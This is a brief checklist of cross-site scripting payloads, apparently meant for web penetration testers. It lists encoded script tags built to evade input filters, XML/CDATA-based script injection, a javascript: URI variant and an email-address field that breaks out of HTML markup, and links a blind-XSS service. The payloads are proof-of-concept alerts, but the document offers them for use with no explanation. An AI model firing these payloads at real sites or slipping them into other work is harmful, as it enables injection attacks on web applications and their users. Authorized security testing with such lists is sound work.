Quick check list of various XSS payloads

Various XSS Payload Quick check list

Blind XSS

https://xsshunter.com/

---

Encoding

%u003Cscript%u003Eprompt%u0028303%u0029%u003C/script%u003E

%253Cscript%253Ealert(1)%253C%252Fscript%253E

%uff1cscript%uff1ealert(1);%uff1c/script%uff1e

---

XML Based XSS

<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

---

Where / is required after protocol

javascript://%250aalert(1)

---

XSS in email ID

"\"><s>test"@gmail.com